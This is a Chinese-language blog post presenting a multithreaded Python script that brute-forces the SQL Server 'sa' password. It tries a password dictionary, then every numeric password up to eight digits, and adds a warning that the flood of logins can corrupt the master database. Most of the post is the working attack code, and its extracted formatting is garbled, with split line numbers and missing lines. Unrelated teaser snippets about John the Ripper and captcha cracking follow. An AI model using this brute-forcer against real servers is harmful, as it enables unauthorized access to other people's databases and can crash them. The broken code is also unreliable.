利用python破解sqlserver賬號密碼

2022-09-15 03:15:11 字數 4101 閱讀 1165

在用python連線mssql資料庫的時候,通常會使用pymssql模板中的connect函式,格式如下:

connect(server,user,password,database)

help文件的函式介紹:

connect(...)

constructor for creating a connection to the database. returns a

connection object.

正常情況下,如果輸入正確的server,user,password和database引數,該函式會返回乙個資料庫連線物件,而輸入的引數是錯誤的資訊時,則會報錯,並返回各種錯誤提示。

所以倘若使用迴圈語句,將所有可能的密碼字串傳遞給connect函式,並配合try...except...就可以達到破解mssql乙個指定賬號的密碼的目的了。

1

defcracker(server,pswd_list):

2for pswd in

pswd_list:

3try

:4   conn=pymssql.connect(server,'

sa',str(pswd),database='

master')

5print(u"

伺服器%s 賬號sa的密碼為 : %s\n

" %(server,pswd))

6conn.close()

7break

8except:9

continue

遍歷所有可能的密碼,既不現實也太花時間。

所以這裡考慮的方案是

先嘗試網路上流行使用的各類常用和簡單的密碼。

1

defget_pwlist():

2 pwlist =

3 with open('

passwddic.txt

','r

') as f:

4for line in

f.readlines():

5 password = line.strip('\n'

)67return pwlist

乙個簡單的方案就是使用range(1,100000000),將1到100000000間所有的數值作為密碼就行嘗試。

雖然目前縮小的密碼樣本空間,但是通過迴圈遍歷這些密碼還是要花費太多的時間。

所以這裡需要利用模板threading使用多執行緒同時測試這些密碼,大幅縮減遍歷所有密碼所需時間。這裡需要解決兩個問題:一方面,我們需要把密碼列表根據分配的執行緒數平分給各個執行緒。另一方面,需要設定乙個變數tag,初始設定成false,當乙個執行緒找到正確密碼的時候將該變數更改為true,這樣其他的執行緒就可以根據這個變數提前結束執行,不再做不必要的測試。

全部的**如下:

1

#!/usr/bin/evn python2#

-*- coding:utf-8 -*-

3'''

4created on 2023年11月19日56

@author: jinfeng

7'''89

10from threading import

thread

11import

time

12import

os13

import

pymssql

1415

16def

cracker(server,pswd_list,no):

17global

tag18

19print(u"

no.%s號執行緒已開始執行,對%d個常用密碼進行測試 !

" %(no,len(pswd_list)))

20for pswd in

pswd_list:

21if

nottag:

22try

:23 conn=pymssql.connect(server,'

sa',str(pswd),database='

master')

24print(u"

no.%s號執行緒執行結束 !\n 伺服器%s 賬號sa的密碼為 : %s\n

" %(no,server,pswd))

25 tag =true

26conn.close()

27break

28except:29

continue

30else:31

break

3233

#print(u"no.%s號執行緒執行結束 !" % no)

3435

36def

get_pwlist():

37 pwlist =

38 with open('

passwddic.txt

','r

') as f:

39for line in

f.readlines():

40 password = line.strip('\n'

)4142return

pwlist

4344

defmain():

45global

tag46 tag =false

47 server = '

127.0.0.1

'48 num_thread = 10

49 time_start =time.time()

50 pwlist =get_pwlist()

51 step = len(pwlist)//num_thread+1

52for n in

range(num_thread):

53 t1 = thread(target = cracker,args = (server,pwlist[step*n:step*n+step],str(n+1),))

54t1.start()

55t1.join()

5657

ifnot

tag:

58print(u'

密碼字典測試完畢,未找到匹配密碼,將遍歷測試8位以內所有數字密碼!')

59for m in range(10):

60 t2 = thread(target = cracker,args = (server,range(m*10000000,(m+1)*10000000),str(m+1)+'+'

,))61

t2.start()

62t2.join()

63 time_end =time.time()

64 time_use = time_end -time_start

65print(u'

用時 %d時%d分%d秒

' % (time_use//3600,time_use%3600//60,time_use%60))

6667

68if

__name__ == "

__main__":

69 main()

執行結果如下:

警告:高密度頻繁訪問mssql的資料庫,有可能讓資料庫的主服務崩潰(master資料庫檔案損壞),所以最好提前備份好資料庫中的系統資料庫(先停止mssql主服務,備份master.mdf和mastlog.ldf兩個檔案)。系統資料庫崩潰後,如下圖,錯誤**3417。否則只就能從其他地方複製master.mdf和mastlog.ldf來替換本地損壞檔案。

利用John the Ripper破解密碼

john the ripper是乙個快速的密碼破解工具,用於在已知密文的情況下嘗試破解出明文,支援目前大多數的加密演算法,如des md4 md5等。它支援多種不同型別的系統架構,包括unix linux windows dos模式 beos和openvms,主要目的是破解不夠牢固的unix lin...

利用棧來破解迷宮問題

假設當前位置的初值為入口位置 do else if 棧不空並且四周還能走 while 棧不空 如下 include consts.h typedef struct selemtype int top 1 selemtype q 100 int map 10 10 int foot 200 2 int...

利用canvas破解簡單驗證碼

敝校的教務管理系統 貌似不止我們學校用呢 一到選課時間伺服器各種崩不解釋,有時為了選個課就要反覆輸入驗證碼,一想到千千萬萬的大學生把時間浪費在輸入驗證碼上面,我就覺得,我有義務拯救一下人類。搜了一下,看到這篇文章,3年前的文章了。我參考了前半部分,借助tampermonkey這個外掛程式,大概實現了...